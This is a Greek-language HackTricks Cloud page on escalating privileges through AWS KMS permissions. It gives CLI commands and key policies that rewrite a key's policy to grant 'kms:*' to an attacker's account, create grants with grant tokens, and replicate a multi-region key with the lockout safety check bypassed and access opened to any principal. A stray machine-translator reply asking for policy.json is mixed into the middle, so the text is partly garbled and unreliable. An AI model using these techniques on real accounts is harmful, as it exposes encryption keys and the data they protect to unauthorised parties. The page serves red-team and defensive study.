AWS - KMS Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
KMS
Για περισσότερες πληροφορίες σχετικά με το KMS δείτε:
kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)
Με αυτά τα δικαιώματα είναι δυνατόν να τροποποιήσετε τα δικαιώματα πρόσβασης στο κλειδί ώστε να μπορεί να χρησιμοποιηθεί από άλλους λογαριασμούς ή ακόμα και από οποιονδήποτε:
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
Μπορείς να επικολλήσεις το περιεχόμενο του policy.json ή το τμήμα του README.md που θέλεις να μεταφράσω; Χρειάζομαι το κείμενο για να το μεταφράσω και θα διατηρήσω τη μορφοποίηση Markdown/HTML.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
kms:CreateGrant
Αυτό επιτρέπει σε έναν principal να χρησιμοποιήσει ένα KMS key:
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
Warning
Ένα grant μπορεί να επιτρέψει μόνο συγκεκριμένους τύπους λειτουργιών: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations
Warning
Σημειώστε ότι μπορεί να χρειαστούν μερικά λεπτά για το KMS ώστε να επιτρέψει στον χρήστη να χρησιμοποιήσει το κλειδί μετά τη δημιουργία του grant. Μόλις περάσει αυτός ο χρόνος, ο principal μπορεί να χρησιμοποιήσει το KMS key χωρίς να χρειάζεται να καθορίσει τίποτα.
Ωστόσο, αν χρειάζεται να χρησιμοποιήσετε το grant αμέσως use a grant token (ελέγξτε τον παρακάτω κώδικα).
Για more info read this.
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token
Σημειώστε ότι μπορείτε να απαριθμήσετε grants των keys με:
aws kms list-grants --key-id <value>
kms:CreateKey, kms:ReplicateKey
Με αυτά τα δικαιώματα, είναι δυνατό να αναπαραχθεί ένα multi-region enabled KMS key σε άλλη περιοχή με διαφορετική πολιτική.
Έτσι, ένας attacker θα μπορούσε να εκμεταλλευτεί αυτό για να αποκτήσει privesc πρόσβαση στο key και να το χρησιμοποιήσει
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
kms:Decrypt
Αυτή η άδεια επιτρέπει τη χρήση ενός key για την αποκρυπτογράφηση ορισμένων πληροφοριών.
Για περισσότερες πληροφορίες, δείτε:
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

